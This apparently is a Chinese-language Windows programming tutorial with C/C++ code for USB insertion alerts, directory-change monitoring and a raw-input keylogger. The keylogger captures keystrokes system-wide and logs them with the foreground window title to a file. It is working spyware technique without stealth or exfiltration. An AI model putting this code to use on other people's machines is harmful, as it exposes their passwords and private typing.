描述
- 利用
WM_DEVICECHANGE
消息,进行u盘插拔监控
- 利用
ReadDirectoryChangesW
函数,进行文件监控
- 利用hook原始输入设备,进行按键监控记录
u盘监控
DialogBoxParam
:在显示对话框前,将消息作为参数传递给窗口过程ProgMainDlg
,可以用其来处理消息循环和消息回调
- 在窗口过程中捕获
WM_DEVICECHANGE
消息,判断设备插拔情况,并弹窗提示
#include "resource.h"
#include <Windows.h>
#include <Dbt.h>
LRESULT OnDeviceChange(WPARAM wParam, LPARAM lParam)
{
switch (wParam)
{
// 设备已经插入
case DBT_DEVICEARRIVAL:
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
// 逻辑卷
if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype)
{
// 根据 dbcv_unitmask 计算出设备盘符
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
DWORD dwDriverMask = lpdbv->dbcv_unitmask;
DWORD dwTemp = 1;
char szDriver[4] = "A:\\";
for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++)
{
if (0 < (dwTemp & dwDriverMask))
{
// 获取设备盘符
::MessageBox(NULL, szDriver, "设备已插入", MB_OK);
}
// 左移1位, 接着判断下一个盘符
dwTemp = (dwTemp << 1);
}
}
break;
}
// 设备已经移除
case DBT_DEVICEREMOVECOMPLETE:
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
// 逻辑卷
if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype)
{
// 根据 dbcv_unitmask 计算出设备盘符
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
DWORD dwDriverMask = lpdbv->dbcv_unitmask;
DWORD dwTemp = 1;
char szDriver[4] = "A:\\";
for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++)
{
if (0 < (dwTemp & dwDriverMask))
{
// 获取设备盘符
::MessageBox(NULL, szDriver, "设备已移除", MB_OK);
}
// 左移1位, 接着判断下一个盘符
dwTemp = (dwTemp << 1);
}
}
break;
}
default:
break;
}
return 0;
}
BOOL CALLBACK ProgMainDlg(HWND hWnd, UINT uiMsg, WPARAM wParam, LPARAM lParam)
{
if (WM_DEVICECHANGE == uiMsg)
{
OnDeviceChange(wParam, lParam);
}
else if (WM_CLOSE == uiMsg)
{
::EndDialog(hWnd, NULL);
}
return FALSE;
}
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevinstance,
LPSTR lpCmdLine,
int nCmdShow)
{
::DialogBoxParam(hInstance, (LPCSTR)IDD_DIALOG1, NULL, (DLGPROC)ProgMainDlg, NULL);
::ExitProcess(NULL);
return 0;
}
按键记录
- 利用原始输入模型,直接从输入设备上获取数据,并记录按键信息,更加强大有效
注册原始输入设备
// 注册原始输入设备
BOOL Init(HWND hWnd)
{
// 设置 RAWINPUTDEVICE 结构体信息
RAWINPUTDEVICE rawinputDevice = { 0 };
rawinputDevice.usUsagePage = 0x01;
rawinputDevice.usUsage = 0x06;
rawinputDevice.dwFlags = RIDEV_INPUTSINK;
rawinputDevice.hwndTarget = hWnd;
// 注册原始输入设备
BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
if (FALSE == bRet)
{
ShowError("RegisterRawInputDevices");
return FALSE;
}
return TRUE;
}
获取原始输入数据
// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
RAWINPUT rawinputData = { 0 };
UINT uiSize = sizeof(rawinputData);
// 获取原始输入数据的大小
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
{
// WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT)
if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
{
// 记录按键
SaveKey(rawinputData.data.keyboard.VKey);
}
}
return TRUE;
}
保存按键信息
// 保存按键信息
void SaveKey(USHORT usVKey)
{
char szKey[MAX_PATH] = { 0 };
char szTitle[MAX_PATH] = { 0 };
char szText[MAX_PATH] = { 0 };
FILE *fp = NULL;
// 获取顶层窗口
HWND hForegroundWnd = ::GetForegroundWindow();
// 获取顶层窗口标题
::GetWindowText(hForegroundWnd, szTitle, 256);
// 将虚拟键码转换成对应的ASCII
::lstrcpy(szKey, GetKeyName(usVKey));
// 构造按键记录信息字符串
::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
// 打开文件写入按键记录数据
::fopen_s(&fp, "keylog.txt", "a+");
if (NULL == fp)
{
ShowError("fopen_s");
return;
}
::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
::fclose(fp);
}
外层调用
#include "resource.h"
#include "RawInputTest.h"
BOOL CALLBACK ProgMainDlg(HWND hWnd, UINT uiMsg, WPARAM wParam, LPARAM lParam)
{
if (WM_INITDIALOG == uiMsg)
{
// 注册原始输入设备
Init(hWnd);
}
else if (WM_CLOSE == uiMsg)
{
::EndDialog(hWnd, NULL);
}
else if (WM_INPUT == uiMsg)
{
// 获取获取按键消息
GetData(lParam);
}
return FALSE;
}
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevinstance,
LPSTR lpCmdLine,
int nCmdShow)
{
::DialogBoxParam(hInstance, (LPCSTR)IDD_DIALOG1, NULL, (DLGPROC)ProgMainDlg, NULL);
::ExitProcess(NULL);
return 0;
}
文件监控
- 监控指定目录下,是否由新增文件
ReadDirectoryChangesW
用来设置监控过滤条件并阻塞,直到有满足监控过滤条件的操作,函数才会返回监控数据继续往下执行
- 为了解决主线程阻塞的问题,可以创建一个文件监控子线程
#include "stdafx.h"
#include "MonitorFile.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}
// 宽字节字符串转多字节字符串
void W2C(wchar_t *pwszSrc, int iSrcLen, char *pszDest, int iDestLen)
{
::RtlZeroMemory(pszDest, iDestLen);
// 宽字节字符串转多字节字符串
::WideCharToMultiByte(CP_ACP,
0,
pwszSrc,
(iSrcLen / 2),
pszDest,
iDestLen,
NULL,
NULL);
}
// 目录监控多线程
UINT MonitorFileThreadProc(LPVOID lpVoid)
{
char *pszDirectory = (char *)lpVoid;
// 打开目录, 获取文件句柄
HANDLE hDirectory = ::CreateFile(pszDirectory, FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (INVALID_HANDLE_VALUE == hDirectory)
{
ShowError("CreateFile");
return 1;
}
char szTemp[MAX_PATH] = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
DWORD dwBufferSize = 2048;
// 申请一个足够大的缓冲区
BYTE *pBuf = new BYTE[dwBufferSize];
if (NULL == pBuf)
{
ShowError("new");
return 2;
}
FILE_NOTIFY_INFORMATION *pFileNotifyInfo = (FILE_NOTIFY_INFORMATION *)pBuf;
// 开始循环设置监控
do
{
::RtlZeroMemory(pFileNotifyInfo, dwBufferSize);
// 设置监控目录
bRet = ::ReadDirectoryChangesW(hDirectory,
pFileNotifyInfo,
dwBufferSize,
TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME | // 修改文件名
FILE_NOTIFY_CHANGE_ATTRIBUTES | // 修改文件属性
FILE_NOTIFY_CHANGE_LAST_WRITE, // 最后一次写入
&dwRet,
NULL,
NULL);
if (FALSE == bRet)
{
ShowError("ReadDirectoryChangesW");
break;
}
// 将宽字符转换成窄字符
W2C((wchar_t *)(&pFileNotifyInfo->FileName), pFileNotifyInfo->FileNameLength, szTemp, MAX_PATH);
// 判断操作类型并显示
switch (pFileNotifyInfo->Action)
{
case FILE_ACTION_ADDED:
{
// 新增文件
printf("[File Added Action]%s\n", szTemp);
break;
}
default:
{
break;
}
}
} while (bRet);
// 关闭句柄, 释放内存
::CloseHandle(hDirectory);
delete[] pBuf;
pBuf = NULL;
return 0;
}
// 创建目录监控多线程
void MonitorFile(char *pszDirectory)
{
// 创建文件监控多线程
::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorFileThreadProc, pszDirectory, 0, NULL);
}